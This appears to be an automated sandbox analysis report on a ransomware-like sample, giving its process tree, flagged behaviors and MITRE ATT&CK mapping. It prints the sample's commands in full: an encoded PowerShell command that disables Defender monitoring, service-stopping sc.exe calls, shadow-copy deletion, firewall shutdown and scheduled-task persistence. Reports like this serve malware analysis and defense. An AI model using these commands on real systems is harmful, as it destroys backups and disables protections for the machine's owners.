PID 832 wrote to memory of 2168	832	bestla.io_chrome.exe	147
PID 832 wrote to memory of 252	832	bestla.io_chrome.exe	149
PID 832 wrote to memory of 5108	832	bestla.io_chrome.exe	151
PID 832 wrote to memory of 6128	832	bestla.io_chrome.exe	156
PID 832 wrote to memory of 4276	832	bestla.io_chrome.exe	157
PID 5748 wrote to memory of 200	5748	cmd.exe	158
PID 252 wrote to memory of 2340	252	cmd.exe	197
PID 2168 wrote to memory of 5392	2168	cmd.exe	160
PID 4600 wrote to memory of 4844	4600	cmd.exe	182
PID 5760 wrote to memory of 2712	5760	cmd.exe	162
PID 3044 wrote to memory of 3392	3044	cmd.exe	163
PID 3392 wrote to memory of 4084	3392	net.exe	165
PID 2320 wrote to memory of 1528	2320	cmd.exe	164
PID 832 wrote to memory of 6104	832	bestla.io_chrome.exe	166
PID 832 wrote to memory of 4944	832	bestla.io_chrome.exe	167
PID 832 wrote to memory of 2128	832	bestla.io_chrome.exe	168
PID 832 wrote to memory of 4268	832	bestla.io_chrome.exe	169
PID 832 wrote to memory of 1348	832	bestla.io_chrome.exe	170
PID 832 wrote to memory of 5388	832	bestla.io_chrome.exe	171
PID 2128 wrote to memory of 6124	2128	net.exe	178
PID 4600 wrote to memory of 4876	4600	cmd.exe	179
PID 3324 wrote to memory of 5396	3324	chrome.exe	181
PID 3324 wrote to memory of 1236	3324	chrome.exe	183
PID 3324 wrote to memory of 4844	3324	chrome.exe	182
PID 3324 wrote to memory of 1236	3324	chrome.exe	183
PID 3324 wrote to memory of 4844	3324	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://bestla.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0xc0,0x138,0x7ff9c6cfc728,0x7ff9c6cfc734,0x7ff9c6cfc740
    3⤵
    PID:2228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,2016649499637645652,6440410190904573573,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
    3⤵
    - System Time Discovery
    PID:968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,14818824136489852309,10657035321685783244,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:13
    3⤵
    PID:5992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,14685368414298406220,3575685435744082817,262144 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
    3⤵
    PID:800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3128,i,4592326373704651807,16226592155533768492,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
    3⤵
    PID:2984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,2779468733415176307,6442538022082451492,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:4844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4588,i,18339900965513283355,7487367197077692472,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=4604 /prefetch:14
    3⤵
    PID:3512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4860,i,16793865296388972226,1580154091376719596,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:1
    3⤵
    PID:4100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,8008670445132328095,15291482821633653384,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
    3⤵
    PID:5396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5492,i,6054904175513734711,16727434216983463667,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:4844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5420,i,9959298664615697451,5952374862482901322,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:1
    3⤵
    PID:1236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5792,i,3527579161218796732,16856370643710145812,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:5548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5416,i,17975243538337448993,5108471324462335596,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:1
    3⤵
    PID:5368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5948,i,1725544655078937820,15711432305479302907,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
    3⤵
    PID:336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5932,i,17974091323452796127,13417946473724811901,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
    3⤵
    PID:2540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5940,i,17920383453553958265,550042667879660405,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:1
    3⤵
    PID:3460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6100,i,17401559043062731662,17065094631920389752,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:1
    3⤵
    PID:920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6176,i,3296361386218474911,13162047219623945128,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:14
    3⤵
    PID:400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5544,i,1526242569647127286,15483313652184985207,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:1
    3⤵
    PID:1072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6196,i,876602358853907951,14616124501319179019,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:14
    3⤵
    PID:3124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5644,i,1106304480969971557,17563463672986979289,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:9
    3⤵
    PID:2056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5732,i,16317215115804879130,6828998895863390015,2097152 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
    3⤵
    PID:2392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5940,i,318042037225385352,9365991888802548574,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
    3⤵
    PID:1520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6380,i,7020841997956019709,15567744486497705092,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:14
    3⤵
    PID:1924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6444,i,8978723535142697735,11776007591709160726,524288 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
    3⤵
    PID:2268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5976,i,5526771363839328183,10947241571725967330,262144 --field-trial-handle=1920,i,5214893015033075995,9569595668463396219,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:10
    3⤵
    PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2660
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3724
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2876
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5552
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1728
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3624
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5232
- - C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe"
    3⤵
    PID:1844
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:468
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:568
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4248
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:328
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1152
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4844
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5748
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5760
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3724
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1528
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:252
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3556
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2340
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5108
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3624
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6128
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4276
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6104
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4944
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:6124
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4268
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1348
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5388

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3260

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5200

C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe
1⤵
PID:3692

C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\bestla.io_chrome.exe
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4992

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv cGSGgSWn00mMxfK++d5hUw.0.2
1⤵
PID:2340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery